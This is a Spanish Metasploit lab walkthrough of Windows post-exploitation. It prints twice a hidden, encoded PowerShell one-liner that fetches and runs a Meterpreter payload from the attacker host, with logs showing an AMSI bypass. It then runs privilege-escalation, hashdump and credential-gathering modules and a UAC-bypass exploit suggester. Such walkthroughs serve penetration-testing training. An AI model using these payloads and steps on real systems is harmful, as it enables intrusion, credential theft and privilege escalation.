Windows (Meterpreter para Post-Explotación)

Para comprometer la maquina Windows vamos a utilizar un modulo exploit de metasploit llamado Web Delivery:

msfconsole -q
use exploit/multi/script/web_delivery

Lo que va hacer este exploit es que va a generar de forma automatica un payload el cual tendremos que ejecutar en la maquina Windows como si fueramos un usuario normal.

Por lo que vamos a especificar el target haciendo un show targets y elgiendo, en mi caso utilizare el numero 2 que seria el powershell.

set target 2

Tambien vamos a especificarle el payload ya que el que viene por defecto no creo que funcione:

set payload windows/x64/meterpreter/reverse_tcp

Y ya especificar la demas configuracion importante:

set LHOST <IP>

Y con esto ya ejecutamos el exploit:

exploit

Info:

[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.16.139:4444 
msf6 exploit(multi/script/web_delivery) > [*] Using URL: http://192.168.16.139:8080/iPVFEviYOocLC
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABpAHQARQByAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGkAdABFAHIALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABpAHQARQByAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEANgAuADEAMwA5ADoAOAAwADgAMAAvAGkAUABWAEYARQB2AGkAWQBPAG8AYwBMAEMALwB1AGUAMABMAGoAWQBTAEEARgBOAGkASgBiAHUAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxADYALgAxADMAOQA6ADgAMAA4ADAALwBpAFAAVgBGAEUAdgBpAFkATwBvAGMATABDACcAKQApADsA

Lo que nos esta especificando aqui es que con ese payload obtendremos una conexion reversa si se ejecuta en la maquina Windows, por lo que esto se podria camuflar meidante un ejecutable o cualquier cosa, pero para no perder tiempo lo ejecutaremos a pelo en el pwershell en Windows:

powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABpAHQARQByAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGkAdABFAHIALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABpAHQARQByAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEANgAuADEAMwA5ADoAOAAwADgAMAAvAGkAUABWAEYARQB2AGkAWQBPAG8AYwBMAEMALwB1AGUAMABMAGoAWQBTAEEARgBOAGkASgBiAHUAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxADYALgAxADMAOQA6ADgAMAA4ADAALwBpAFAAVgBGAEUAdgBpAFkATwBvAGMATABDACcAKQApADsA

Una vez ejecutado, si nos vamos al kali podremos ver que obtendremos una reverse shell con meterpreter.

[*] 192.168.16.138   web_delivery - Delivering AMSI Bypass (1391 bytes)
[*] 192.168.16.138   web_delivery - Delivering Payload (3714 bytes)
[*] Sending stage (201798 bytes) to 192.168.16.138
[*] Meterpreter session 1 opened (192.168.16.139:4444 -> 192.168.16.138:49799) at 2024-11-21 06:06:49 -0500

Le daremos a ENTER y si ponemos sessions podremos ver la sesion:

Active sessions
===============

  Id  Name  Type                     Information                              Connection
  --  ----  ----                     -----------                              ----------
  1         meterpreter x64/windows  DESKTOP-EALA4JN\d1se0 @ DESKTOP-EALA4JN  192.168.16.139:4444 -> 192.168.16.138:49799 (192.168.16.138)

Por lo que entraremos en ella poniendo sessions 1.

Si hacemos getuid veremos que somos un usuario normal:

Server username: DESKTOP-EALA4JN\d1se0

Una tecnica bastante sencilla que esta dedicada a cuando comprometes una maquina windows que ya viene en meterpreter por defecto para escalar privilegios en windows es con el siguiente comando:

getsystem

Lo que va a intentar hacer es elevar privilegios con diferentes tecnicas.

Y si esto funcionara, veremos lo siguiente:

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Si hacemos un getuid veremos:

Server username: NT AUTHORITY\SYSTEM

Pero pongamosle que esto no funciona, podremos hacer lo siguiente:

Si nosotros intentamos ejecutar un modulo para intentar recopilar credenciales:

run post/windows/gather/credentials/credential_collector

Info:

[*] Running module against DESKTOP-EALA4JN
[-] Error accessing hashes, did you migrate to a process that matched the target's architecture?

Veremos que no nos deja, pero podremos seguir intentando unos cuantos que se suelen utilizar.

Por ejemplo para enumerar las carpetas compartidas del sistema:

run post/windows/gather/enum_shares

Info:

[*] Running module against DESKTOP-EALA4JN (192.168.16.138)
[*] The following shares were found:
[*]     Name: Users
[*]     Path: C:\Users
[*]     Type: DISK
[*] 
[*]     Name: Share
[*]     Path: C:\Users\d1se0\Desktop\Share
[*]     Type: DISK

Aqui vemos que hay una carpeta llamada Share que se esta compartiendo.

Tambien para intentar volcar los hashes:

run post/windows/gather/hashdump

Info:

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 9cf44a88bb026bed7b64c16915466195...
[-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi_registry_open_key: Operation failed: Access is denied.
[-] This script requires the use of a SYSTEM user context (hint: migrate into service process)

Pero en este caso tambien nos dara error.

Vamos a intentar conseguir permisos de administrador, de la siguiente forma, vamos a mandar esta sesion en segundo plano con el coamndo background y nos iremos atras con back.

Seleccionaremos el exploit que te recomienda exploits de los cuales pueden ser vulnerable la maquina windows.

use post/multi/recon/local_exploit_suggester
set session 1
exploit

Info:

[*] 192.168.16.138 - Collecting local exploits for x64/windows...
[*] 192.168.16.138 - 196 exploit checks are being tried...
[+] 192.168.16.138 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 192.168.16.138 - exploit/windows/local/bypassuac_fodhelper: The target appears to be vulnerable.
[+] 192.168.16.138 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 192.168.16.138 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 192.168.16.138 - exploit/windows/local/win_error_cve_2023_36874: The target appears to be vulnerable.

[*] 192.168.16.138 - Valid modules for session 2:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_dotnet_profiler                Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_fodhelper                      Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/bypassuac_sdclt                          Yes                      The target appears to be vulnerable.
 4   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
 5   exploit/windows/local/win_error_cve_2023_36874                 Yes                      The target appears to be vulnerable.

Por lo que vemos es vulnerable a bypassuac que es cuando intentas ejecutar algo como administrador y te aparece la ventana de si realmente quieres ejecutar o acceder a ello como metodo de seguridad a esto se le llama el UAC (User Account Control) y tiene la vulnerabilidad de hacerle un Bypass.

Y ya con esto podremos aprovechar algunas de estas vulnerabilidades para escalar privilegios.

Last updated